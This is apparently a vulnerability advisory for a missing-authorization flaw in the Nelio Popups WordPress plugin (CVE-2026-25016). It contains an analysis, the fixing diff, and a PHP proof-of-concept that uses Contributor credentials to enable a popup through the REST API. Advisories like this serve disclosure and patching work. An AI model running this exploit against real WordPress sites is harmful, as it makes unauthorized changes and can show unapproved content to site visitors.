Atomic Edge analysis of CVE-2026-25016:
This vulnerability is a missing authorization flaw in the Nelio Popups WordPress plugin. The vulnerability affects the plugin’s REST API endpoint for modifying popup status. It allows authenticated users with Contributor-level permissions or higher to perform unauthorized actions.
The root cause is the missing capability and post status checks in the `register_rest_field` callback functions within `/nelio-popups/includes/popups.php`. Before the patch, the `update_callback` function for the `nelio_popups_is_enabled` REST field (lines 148-158) updated post meta without verifying the user’s right to publish the post or the post’s current status. The `get_callback` function also lacked a status check. This omission created an unauthorized state modification vector.
An attacker with at least Contributor access can exploit this by sending a crafted POST request to the WordPress REST API endpoint `/wp-json/wp/v2/nelio_popup/{POPUP_ID}`. The payload must include the `nelio_popups_is_enabled` field set to `true`. This request bypasses the intended publish capability requirement, allowing a user to activate a popup they should not control.
The patch addresses the issue by adding multiple authorization and state guards. The `disable_draft_status` function is removed entirely. The `get_callback` now checks if the post status is ‘publish’ before returning meta data (line 146). The `update_callback` now verifies the post status is ‘publish’ before allowing any meta update (line 151). The `set_column_values` function is also updated to include a `data-disabled` attribute based on the user’s `publish_post` capability and the post status (lines 179-181). These changes enforce that only users with publish rights on a published post can modify its active status.
Successful exploitation allows a Contributor-level user to activate a popup, changing its published state on the front end. This constitutes an unauthorized action, violating the principle of least privilege. While the impact is limited to popup activation and does not grant full administrative control, it could allow an attacker to display unauthorized content to site visitors.
--- a/nelio-popups/dist/nelio-popups-popup-list.asset.php
+++ b/nelio-popups/dist/nelio-popups-popup-list.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '5439159fbd85faec3c5f');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '2c0d736c7488e96e5c33');
--- a/nelio-popups/includes/popups.php
+++ b/nelio-popups/includes/popups.php
@@ -65,28 +65,6 @@
}
add_action( 'init', __NAMESPACE__ . 'register_popups', 5 );
-function disable_draft_status( $popup_id ) {
- if ( 'nelio_popup' !== get_post_type( $popup_id ) ) {
- return;
- }
-
- if ( wp_is_post_revision( $popup_id ) || wp_is_post_autosave( $popup_id ) ) {
- return;
- }
-
- if ( 'draft' !== get_post_status( $popup_id ) ) {
- return;
- }
-
- wp_update_post(
- array(
- 'ID' => $popup_id,
- 'post_status' => 'publish',
- )
- );
-}
-add_action( 'save_post', __NAMESPACE__ . 'disable_draft_status' );
-
function get_preview_url( $url, $post ) {
if ( 'nelio_popup' !== $post->post_type ) {
return $url;
@@ -165,10 +143,13 @@
$field,
array(
'get_callback' => function ( $params ) use ( $field ) {
- return ! empty( get_post_meta( $params['id'], "_{$field}", true ) );
+ return (
+ 'publish' === get_post_status( $params['id'] ) &&
+ ! empty( get_post_meta( $params['id'], "_{$field}", true ) )
+ );
},
'update_callback' => function ( $value, $obj ) use ( $field ) {
- if ( true === $value ) {
+ if ( true === $value && 'publish' === get_post_status( $obj->ID ) ) {
update_post_meta( $obj->ID, "_{$field}", $value );
} else {
delete_post_meta( $obj->ID, "_{$field}" );
@@ -194,10 +175,19 @@
function set_column_values( $column_name, $post_id ) {
if ( 'popup_active' === $column_name ) {
+ $checked = (
+ (bool) get_post_meta( $post_id, '_nelio_popups_is_enabled', true ) &&
+ 'publish' === get_post_status( $post_id )
+ );
+ $disabled = (
+ ! current_user_can( 'publish_post', $post_id ) ||
+ 'publish' !== get_post_status( $post_id )
+ );
printf(
- '<span class="nelio-popups-active-wrapper" data-id="%s" data-enabled="%s"></span>',
+ '<span class="nelio-popups-active-wrapper" data-id="%s" data-checked="%s" data-disabled="%s"></span>',
esc_attr( $post_id ),
- esc_attr( ! empty( get_post_meta( $post_id, '_nelio_popups_is_enabled', true ) ) ? 'true' : 'false' )
+ esc_attr( $checked ? 'true' : 'false' ),
+ esc_attr( $disabled ? 'true' : 'false' )
);
}
--- a/nelio-popups/nelio-popups.php
+++ b/nelio-popups/nelio-popups.php
@@ -6,7 +6,7 @@
*
* Author: Nelio Software
* Author URI: https://neliosoftware.com
- * Version: 1.3.5
+ * Version: 1.3.6
* Text Domain: nelio-popups
*
* Requires at least: 6.6
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25016 - Nelio Popups <= 1.3.5 - Missing Authorization
<?php
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';
$popup_id = 123; // ID of a target Nelio Popup post
// Step 1: Authenticate with the WordPress REST API to obtain a nonce.
// For AJAX actions, wp_ajax hooks often require a valid nonce, but this REST endpoint may not.
// This PoC uses basic authentication for simplicity in a test environment.
// In a real scenario, the attacker would already have an authenticated session.
$api_url = $target_url . '/wp-json/wp/v2/nelio_popup/' . $popup_id;
$payload = json_encode( [
'nelio_popups_is_enabled' => true
] );
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $api_url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, 'POST' );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $payload );
curl_setopt( $ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Authorization: Basic ' . base64_encode( $username . ':' . $password )
] );
$response = curl_exec( $ch );
$http_code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
curl_close( $ch );
// Step 2: Check if the request was successful (200 or 201).
// A successful response indicates the popup's enabled status was updated without proper authorization.
if ( $http_code >= 200 && $http_code < 300 ) {
echo "[+] SUCCESS: Popup $popup_id may have been activated without proper publish rights.n";
echo "Response: $responsen";
} else {
echo "[-] Request failed with HTTP code: $http_coden";
echo "Response: $responsen";
}
?>